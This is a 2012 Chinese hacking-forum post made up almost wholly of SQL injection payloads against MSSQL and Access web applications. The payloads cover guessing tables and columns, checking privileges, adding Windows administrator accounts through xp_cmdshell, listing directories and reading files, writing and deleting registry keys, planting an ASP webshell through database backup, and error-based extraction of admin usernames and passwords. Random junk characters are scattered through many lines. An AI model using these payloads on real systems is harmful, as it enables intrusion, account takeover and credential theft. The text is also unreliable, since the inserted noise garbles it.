找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1939|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
3 d! K. K, y( r+ V;and 1=1
; {$ U7 N$ _. ], e1 a1 M" ?;and 1=2 7 g; n7 X7 b3 O8 `# ~/ v# Q7 l
* l' T: I. ^- h- {% }4 J
2.初步判断是否是mssql
1 I, v* `9 `7 g& a;and user>0 4 r1 ?+ d: T) M& ]3 A
; s& `8 S% W/ }8 Z/ k
3.判断数据库系统
  T# L  G6 i( r- J3 X3 I;and (select count(*) from sysobjects)>0 mssql 0 {9 l) k4 C. k4 W7 p
;and (select count(*) from msysobjects)>0 access 6 Y  ~! b; A+ B, D9 L0 S

/ j$ `  Y( x. E+ O4.注入参数是字符
" L; j6 \; z/ v/ q/ ]+ k'and [查询条件] and ''=' * }, s) Z. s' K! H

" w( a% P; i% d2 D0 W" R. k5.搜索时没过滤参数的
6 c- r. P. m0 E( A# p% L'and [查询条件] and '%25'='
7 h- d/ ]5 G% t. `6 {3 d' }2 L- k
9 k2 ]1 e2 d7 }( Q( A! s& v6.猜数表名 $ i0 R* L8 i& J; a
;and (select Count(*) from [表名])>0
( D) s) \6 @- c0 R; B( v% \6 Y, _& g; P
0 G- R/ G4 k% V) {3 G) d2 A7.猜字段 # @  D" P3 W  w" L0 ?) ^$ o1 p, u: o
;and (select Count(字段名) from 表名)>0 8 Q$ M/ ~) |+ h% t

% W# }7 F% D. h1 u/ J8.猜字段中记录长度 " M) o; F% o. ~: F# a9 _( x, }6 E; s
;and (select top 1 len(字段名) from 表名)>0
$ b( _# B  ]7 t# v
1 \8 I; H' Y7 J  h9.(1)猜字段的ascii值(access) 0 B: P; X9 |* {$ c
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 $ v/ x6 f7 ~/ B" e# ?+ w7 A

% b& {8 o0 K: k1 q8 x(2)猜字段的ascii值(mssql)
! b4 s& J3 Y, l, \. L4 ?* H: f+ X;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
! r5 ^0 G- x1 e& ~0 K' P% [4 N
) x9 g9 J/ o, G5 o9 c' n, ^2 L# s7 X5 s10.测试权限结构(mssql) * j) T1 V8 Q5 {0 {( z2 h/ ?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 a2 K) ]! N' Z; a) S8 r5 L( a' ^;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
5 l) K4 }' _* K+ O* N;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' B9 \. i1 X; |' N;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5 r+ k9 z$ B0 s: k
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- . G" |' |* M5 p9 a4 T& z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- , [, s  t% s: b& e. \
;and 1=(select IS_MEMBER('db_owner'));-- & \. N$ ]: C+ g) `

! J, h0 J% F1 Q1 A  t11.添加mssql和系统的帐户 - E4 K  b, k0 t6 W, k
;exec master.dbo.sp_addlogin username;-- ; c5 r( u3 r  y; Y# \  s: y6 a
;exec master.dbo.sp_password null,username,password;-- 2 a# O8 P3 [& m6 C
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
1 Q7 K$ u# _( i  \2 s8 q8 v! x;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ; e3 O6 p) h8 h: ~' ]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; d: c+ u5 `" l1 n9 w
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 ^7 B7 c( D* M3 P0 N- \' s" U0 E8 m  P  s- D, ]
12.(1)遍历目录
! {8 c* `0 x& i9 c/ ^6 P;create table dirs(paths varchar(100), id int) ' r3 x, R/ g. N- P* l4 ?  v( @
;insert dirs exec master.dbo.xp_dirtree 'c:\' $ G4 X, t# h' K" ~1 |5 _3 i) J0 l
;and (select top 1 paths from dirs)>0 # b% u* q6 N$ v% F) H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / y' L5 q! C' K5 m! d
1 n  g# H& G0 i2 p: {5 S" j3 t
(2)遍历目录 & T& l; {7 O  R2 X
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . J7 Q) u0 ]( ]3 \, E( C0 w
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
# Q# k; a7 ]" n: W+ b;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 k* t) U! C# B; B. z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构   s' `$ Z6 E& Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
( P. O+ l. _- f, f! ]
' d8 O! n6 Q. B* Q1 P13.mssql中的存储过程 9 O/ J3 \+ Q# e( P& v! P
xp_regenumvalues 注册表根键, 子键
- b; R- N% B2 D2 `& C/ y;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # X2 _$ t9 B9 T5 O/ `
xp_regread 根键,子键,键值名
7 Q4 H0 w- J- K/ t# g/ s$ b2 q;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ' s. F3 r6 u$ n2 |$ Z; H/ E
xp_regwrite 根键,子键, 值名, 值类型, 值 ; Q" M, z# \5 P0 z/ \" t% m. I
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 + D3 J; _0 E) o" p3 S7 V
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: k" f  C  Q1 F  nxp_regdeletevalue 根键,子键,值名
! E; D5 X& r( o3 l0 J" xexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
; Y& ]  e$ D0 a: P# ~/ Zxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 + {  \6 [, {# w
9 C/ M: ^9 i4 R3 |" {
14.mssql的backup创建webshell $ h# r1 K7 O9 |
use model
6 T' F6 S" k4 m- f0 U* Mcreate table cmd(str image); ; h8 z8 U8 M9 b9 H& Z8 U7 F
insert into cmd(str) values ('<% Dim oScript %>'); : V6 A; ]4 T- a0 J# p5 r/ [) Z
backup database model to disk='c:\l.asp'; 4 V  j/ c2 `( z' d0 R+ O

: J' L' Z% m2 ]% P% R4 l6 h7 C15.mssql内置函数
3 p! Z- w: T$ F. E! J( @;and (select @@version)>0 获得Windows的版本号 # ]& a9 h% _3 r
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
2 h9 M% {( p0 L3 |1 E# X;and (select user_name())>0 爆当前系统的连接用户
2 d4 O, ]* [2 S& V;and (select db_name())>0 得到当前连接的数据库
: u& i' R8 Y: K# s2 m
4 `' l  \" e3 \+ y, u- F
+ ?% x! u/ j' S6 A  e2 s. E+ i# v( `! o8 ?2 t1 ]; B! y& s
MSSQL手注暴库
1 Q- G5 W& Z# h8 m7 w0 p4 |, J, b% R/ u' {
1.暴出当前表名和列名, d1 t; w* X) c7 E. s
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。+ q- f- C2 p6 i9 L& m- q% Z

3 [8 x. s' w4 Q! a8 K第一.爆出所有数据库名/ U9 h. r. E2 ?0 J$ u
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
3 S+ a5 L. a5 y5 y9 ?第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。4 `' m2 s' i( K1 H# V5 z

7 _# B  X$ p7 r$ G- E1 Pand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名% y) ]! `7 @! O" b
& H' J5 B0 D: A% r$ @# O. y6 I6 {

3 A6 s  e/ P- E4 t& P7 g第二.爆出指定库中的所有表名
4 k: a/ n. V/ V1 O- W得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
/ U3 P! P1 P# l9 |, V5 m& i9 A再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。8 q7 ]7 n# P$ D4 b5 b5 n% j4 S
/ O) {+ s' O* n$ W- l
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--1 h$ |0 d' C" A
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
# h, H+ r' o+ Pand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
0 S0 s0 S# Z( f9 Y6 ^2 i" i% v9 l6 \( ?) N0 L
4.爆出指定表中的所有列名
& W% m3 {& e, ~% ?5 ]and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
8 S+ @2 A! B: W0 l1 C% ]//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
/ Y/ h& k, \! g+ p' A6 d& \. M: z7 {4 R* @- ~- k3 W7 T3 R
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
4 N: A( h9 g* U* R6 s' H) }
& ?$ }- P. O+ W2 l/ s再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
& Z2 K; z6 T* k0 q+ f& S: N2 R依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
5 A0 _$ {: C7 o( {6 r: V, X+ T& ]& J0 m3 _3 S" E
) P1 P) U0 `/ K% g) o% |! t
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值: L) G  S% m$ c, j# L

* ?8 j: Q- ]  \- [6 p3 X: [- x+ ]and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
% p% N6 M* S% m( \# N* v; K1 \' [8 U) D% l& Y8 W% ~( t
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- & Q3 N' r; i3 `0 ^/ T

) s! z+ g" z  J5 Q# [  U7 F4 z* N3 a% E. t$ F

, c6 s% D+ ]+ O1 ]& e' g5.读取指定表中的数据
, A) X' x5 n5 ?. n$ J( T% o
+ V$ r' J: e  p. j7 |- x. l6 {and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 a! l4 I, N+ r( K% \5 G" ^6 k3 l! n; r. I- e  I1 J1 Z" W9 z
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
( w8 J+ S) B5 S8 }! M; E  p2 y2 B- {( M1 P: L* b
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码$ _4 S( X) F6 w

; h! y3 Q$ t# V. m  S! K* r* r  n9 J+ N
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
, s5 u- v; ~. F
6 m/ l' u$ C$ L# fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
/ {6 V+ o8 i1 ]$ z5 {! W1 P: [
: b: z: _8 x6 }6 s( u& l4 `3 g0 Vand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--( p9 z  S7 `: ?- o7 [. a& U, c; \/ h
9 q9 I. @: U2 N% _/ C- e' G
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
2 r6 r2 U8 L3 z) _; j( w/ N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表